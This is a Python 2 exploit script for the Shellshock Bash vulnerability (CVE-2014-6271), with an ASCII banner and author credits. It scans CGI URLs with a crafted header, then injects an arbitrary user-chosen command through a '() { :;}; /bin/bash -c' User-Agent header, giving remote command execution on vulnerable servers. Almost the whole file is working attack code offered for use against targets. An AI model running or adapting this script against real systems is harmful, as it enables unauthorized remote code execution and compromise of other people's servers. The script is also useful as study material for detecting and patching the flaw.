#!/usr/bin/env python

# http connection
import urllib2
# Args management
import optparse
# Error managemen
import sys

banner = """
      _______                 _______             __
     |   _   .-----.--.--.   |   _   .---.-.-----|  |--.
     |.  |___|     |  |  |   |.  1   |  _  |__ --|     |
     |.  |   |__|__|_____|   |.  _   |___._|_____|__|__|
     |:  1   |               |:  1    \
     |::.. . |               |::.. .  /
     `-------'               `-------'
      ___ ___   _______     _______ _______ ___
     |   Y   | |   _   |   |   _   |   _   |   |
     |   |   |_|___|   |   |.  l   |.  1___|.  |
     |____   |___(__   |   |.  _   |.  |___|.  |
         |:  | |:  1   |   |:  |   |:  1   |:  |
         |::.| |::.. . |   |::.|:. |::.. . |::.|
         `---' `-------'   `--- ---`-------`---'

                              Gnu B4sh <= 4.3 Cg1 Sc4n + r3m0t3 C0mm4nd Inj3ct10n

          ==========================================
          - Release date: 2014-09-25
          - Discovered by: Stephane Chazelas
          - CVE: 2014-6271
          ===========================================

                        Written by:

                      Claudio Viviani

                   http://www.homelab.it

                      info@homelab.it
                  homelabit@protonmail.ch

             https://www.facebook.com/homelabit
                https://twitter.com/homelabit
             https://plus.google.com/+HomelabIt1/
   https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
"""

# Check url
def checkurl(url):
    if url[:8] != "https://" and url[:7] != "http://":
        print('[X] You must insert http:// or https:// procotol')
        sys.exit(1)
    else:
        return url

def connectionScan(url):
    print '[+] Checking for vulnerability...'
    try:
        headers = {"VULN" : "() { :;}; echo 'H0m3l4b1t: YES'"}
        response = urllib2.Request(url, None, headers)
        content = urllib2.urlopen(response)
        if 'H0m3l4b1t' in  content.info():
            print '[!] VULNERABLE: '+url
        else:
            print '[X] NOT Vulnerable'
    except urllib2.HTTPError, e:
        print e.info()
        if e.code == 400:
            print '[X] Page not found'
        else:
            print '[X] HTTP Error'
    except urllib2.URLError:
        print '[X] Connection Error'

def connectionInje(url,cmd):
    try:
        headers = { 'User-Agent' : '() { :;}; /bin/bash -c "'+cmd+'"' }
        response = urllib2.Request(url, None, headers)
        content = urllib2.urlopen(response).read()
        print '[!] '+cmd+' command sent!'
    except urllib2.HTTPError, e:
        if e.code == 500:
            print '[!] '+cmd+' command sent!!!'
        else:
            print '[!] command not sent :('
    except urllib2.URLError:
        print '[X] Connection Error'

commandList = optparse.OptionParser('usage: %prog [-s] -t http://localhost/cgi-bin/test -c "touch /tmp/test.txt"')
commandList.add_option('-t', '--target', action="store",
                  help="Insert TARGET URL: http[s]://www.victim.com[:PORT]",
                  )
commandList.add_option('-c', '--cmd', action="store",
                  help="Insert command name",
                  )
commandList.add_option('-s', '--scan', default=False, action="store_true",
                  help="Scan Only",
                  )
options, remainder = commandList.parse_args()

# Check args
if not options.target:
    print(banner)
    commandList.print_help()
    sys.exit(1)
elif options.target and not options.cmd and not options.scan:
    print(banner)
    commandList.print_help()
    sys.exit(1)

print(banner)

url = checkurl(options.target)
cmd = options.cmd
if options.scan:
    print '[+] Scan Only Mode'
    connectionScan(url)
else:
    print '[+] Remote Command Innection Mode'
    connectionScan(url)
    connectionInje(url,cmd)